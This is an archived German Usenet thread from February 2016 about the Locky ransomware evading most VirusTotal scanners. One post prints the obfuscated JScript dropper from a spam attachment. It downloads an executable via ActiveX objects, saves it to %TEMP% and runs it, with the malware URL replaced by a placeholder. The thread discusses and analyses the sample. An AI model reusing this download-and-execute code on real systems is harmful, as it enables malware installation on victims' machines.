Groups > ger.ct > #244977 > unrolled thread

Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "

Started by	Michael Bode <m.g.bode@web.de>
First post	2016-02-24 21:34 +0100
Last post	2016-02-24 22:17 +0100
Articles	20 on this page of 124 — 24 participants

Back to article view | Back to ger.ct

This discussion starts older than the indexed window; earlier articles aren't shown. The article labeled Started by below is the oldest one visible, not the original post.

  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 21:34 +0100
    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 21:39 +0100
      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Karsten Düsterloh <trash@tprac.de> - 2016-02-24 21:49 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 22:04 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 22:13 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-25 07:54 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-24 23:56 -0800
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Pachta <mipani@gmx.de> - 2016-02-25 10:02 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 14:44 +0000
                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 15:04 +0000
                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 16:06 +0000
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Andreas Fecht <forum@aftec.de> - 2016-03-04 16:25 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 22:20 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Dr. Joachim Neudert <neudert@5sl.org> - 2016-02-25 06:19 +0000
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-25 07:46 +0100
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-25 07:52 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-25 09:08 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 00:39 -0800
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 00:54 -0800
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 01:55 -0800
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 14:38 +0000
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 16:01 +0100
                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 18:07 +0100
                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-26 07:48 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-25 15:03 +0000
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 22:04 -0800
                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 08:01 +0100
                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-25 23:38 -0800
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lars Gebauer <lars.gebauer@yahoo.de> - 2016-02-26 11:48 +0100
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " v_borchert@despammed.com (Volker Borchert) - 2016-03-07 05:37 +0000
                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-26 09:27 +0100
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 09:37 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-26 09:40 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 09:52 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-26 10:14 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-26 12:13 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 03:20 -0800
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 03:41 -0800
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:36 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:44 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:59 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:33 -0800
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 16:39 +0100
                                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 17:03 +0100
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-26 19:03 +0100
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-28 11:11 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Bernd Ullrich <ullrich_bernd@hotmail.com> - 2016-02-26 12:54 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:33 +0100
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:15 -0800
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 16:19 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:25 -0800
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 16:36 +0100
                                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:45 -0800
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Rick Szabo  <usenet13@rickszabo.de> - 2016-02-26 19:25 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 10:37 -0800
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Rick Szabo  <usenet13@rickszabo.de> - 2016-02-26 20:20 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-27 00:37 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-29 08:35 +0100
                                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-29 11:31 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-28 23:47 -0800
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Dr. Joachim Neudert <neudert@5sl.org> - 2016-02-26 18:44 +0000
                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-26 10:15 +0000
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 13:07 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Pachta <mipani@gmx.de> - 2016-02-26 14:26 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 14:36 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 14:40 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 14:56 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 05:54 -0800
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 15:01 +0100
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Rick Szabo  <usenet13@rickszabo.de> - 2016-02-26 19:14 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 22:29 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-02-29 08:43 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Hanno Foest <hurga-news2@tigress.com> - 2016-02-27 02:22 +0100
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Hanno Foest <hurga-news2@tigress.com> - 2016-02-27 02:28 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-27 14:23 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " v_borchert@despammed.com (Volker Borchert) - 2016-03-07 19:23 +0000
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Gerrit Heitsch <gerrit@laosinh.s.bawue.de> - 2016-03-07 21:04 +0100
                                  Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-03-08 07:42 +0100
                                    Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-03-08 11:51 +0100
                                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-03-08 00:43 -0800
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 14:39 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Zink <michael@swamp.franken.de> - 2016-02-26 14:54 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Frank Hucklenbroich <Hucklenbroich01@aol.com> - 2016-02-26 15:06 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Zink <michael@swamp.franken.de> - 2016-02-26 17:29 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Rick Szabo  <usenet13@rickszabo.de> - 2016-02-26 19:16 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " v_borchert@despammed.com (Volker Borchert) - 2016-03-07 19:26 +0000
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:50 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-26 19:45 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Dr. Joachim Neudert <neudert@5sl.org> - 2016-02-26 19:03 +0000
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Martin Hofgesang <usenetexpires102015.invalid@hofgesang.de> - 2016-03-03 15:52 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-03-04 09:28 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-03-04 00:40 -0800
                              . Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-03-04 10:40 +0100
                                Re: . Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-03-04 01:46 -0800
                                  Re: . Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> - 2016-03-04 11:34 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Martin Hofgesang <usenetexpires102015.invalid@hofgesang.de> - 2016-03-07 08:36 +0100
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 14:44 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich) - 2016-02-26 15:54 +0000
                      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 15:47 +0100
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lothar Frings <Lothar.Frings@gmx.de> - 2016-02-26 07:11 -0800
                        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Jürgen Schick <expires-2016-02-29@nurfuerspam.de> - 2016-02-26 17:41 +0100
                          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 18:01 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-26 18:23 +0100
                              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Jürgen Schick <expires-2016-02-29@nurfuerspam.de> - 2016-02-27 15:21 +0100
                            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Jürgen Schick <expires-2016-02-29@nurfuerspam.de> - 2016-02-29 17:40 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Pachta <mipani@gmx.de> - 2016-02-26 19:26 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Pachta <mipani@gmx.de> - 2016-02-26 19:29 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-26 20:01 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 12:53 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 12:53 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Shinji Ikari <shinji@gmx.net> - 2016-02-25 13:13 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-25 16:33 +0100
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Peter Faust <peter.faust-solingen@t-online.de> - 2016-02-25 16:57 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-25 18:07 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Dr. Joachim Neudert" <neudert@5sl.org> - 2016-02-26 07:33 +0100
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-26 07:43 +0100
                Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-26 10:29 +0100
              Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Wolfgang Kynast <wky@gmx.de> - 2016-02-26 10:27 +0100
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten   nur 3 von 55 Virenscannern das Locky-Binary. " Hanno Foest <hurga-news2@tigress.com> - 2016-02-25 15:56 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de> - 2016-02-25 12:40 +0100
        Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " v_borchert@despammed.com (Volker Borchert) - 2016-03-06 20:33 +0000
          Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " "Michael Landenberger" <spameimer052006@arcor.de> - 2016-03-07 11:57 +0100
            Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Lars Gebauer <lars.gebauer@yahoo.de> - 2016-03-07 12:17 +0100
      Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. " Michael Bode <m.g.bode@web.de> - 2016-02-24 22:17 +0100

Page 1 of 7 [1] 2 3 4 5 6 7 Next page →

#244977 — Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "

From	Michael Bode <m.g.bode@web.de>
Date	2016-02-24 21:34 +0100
Subject	Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "
Message-ID	<dj6if4Fcsc6U1@mid.individual.net>

Am 24.02.2016 um 19:51 schrieb Dr. Joachim Neudert:
> Cool.
> Eine 864 Zeichen Zip Datei. Und unsere Virenscanner merken- nichts.
> 
> Und diese Meldung ist nicht etwa zwei Wochen alt. Die ist von heute Abend.
> 
> @Michael Bode: ich hab dir heute mal ein bisschen Malware zugeschickt
> auf deinen expliziten Wunsch, GPG-verschlüsselt damit unser Server nicht
> sofort als Malware Schleuder verkannt wird.
> 
> Die obige gezippte  Javascript Datei habe ich fünf mal im Spamordner
> gefunden.

Die Erkennungsquote bei Virustotal ist miserabel. Die .doc hat 2/54 und
die .zip 6/54.

Ich muss das Ding glatt mal in einer ausprobieren.

[toc] | [next] | [standalone]

#244978

From	Michael Bode <m.g.bode@web.de>
Date	2016-02-24 21:39 +0100
Message-ID	<dj6inpFcsc6U2@mid.individual.net>
In reply to	#244977

Am 24.02.2016 um 21:34 schrieb Michael Bode:

> Ich muss das Ding glatt mal in einer ausprobieren.

VM natürlich.

[toc] | [prev] | [next] | [standalone]

#244979

From	Karsten Düsterloh <trash@tprac.de>
Date	2016-02-24 21:49 +0100
Message-ID	<56CE174A.2000607@mid.tprac.de>
In reply to	#244978

Michael Bode aber hob an zu reden und schrieb:
>> Ich muss das Ding glatt mal in einer ausprobieren.
> 
> VM natürlich.

Das Skript ist extrem unspektulär — und funktioniert so auch nur für die
Windows-Freunde (Malware-URL entfernt):


var ymPnmKX= this['ActiveXObject'];
var CaptvRev = new ymPnmKX('WScript.Shell');
        var fPqiIay = CaptvRev['ExpandEnvironmentStrings']('%TEMP%') +
'/fXBvKHcBd.exe';
        var EFeXdn = new ymPnmKX('MSXML2.XMLHTTP');
        EFeXdn['onreadystatechange'] = function() {
        if (EFeXdn['readystate'] === 4) {
                var NfEtY = new ymPnmKX('ADODB.Stream');
                NfEtY['open']();
                NfEtY['type'] = 1;
                NfEtY['write'](EFeXdn['ResponseBody']);
                NfEtY['position'] = 0;
                NfEtY['saveToFile'](fPqiIay, 2);
                NfEtY['close']();
        };
    };
    try {
    var    cXBGW = 'Run';
        EFeXdn['open']('GET' ,'hierstandeinemalwareurl', false);
        EFeXdn['send']();
        CaptvRev [cXBGW](fPqiIay, 1, false);
    } catch (ajg9ggxFs) {};


Schlimm ist hier maximal, daß sowas 2016 in einer Mail noch ausgeführt
wird — der Vektor ist doch uralt?!


Karsten
-- 
       Freiheit stirbt        |       Fsayannes SF&F-Bibliothek:
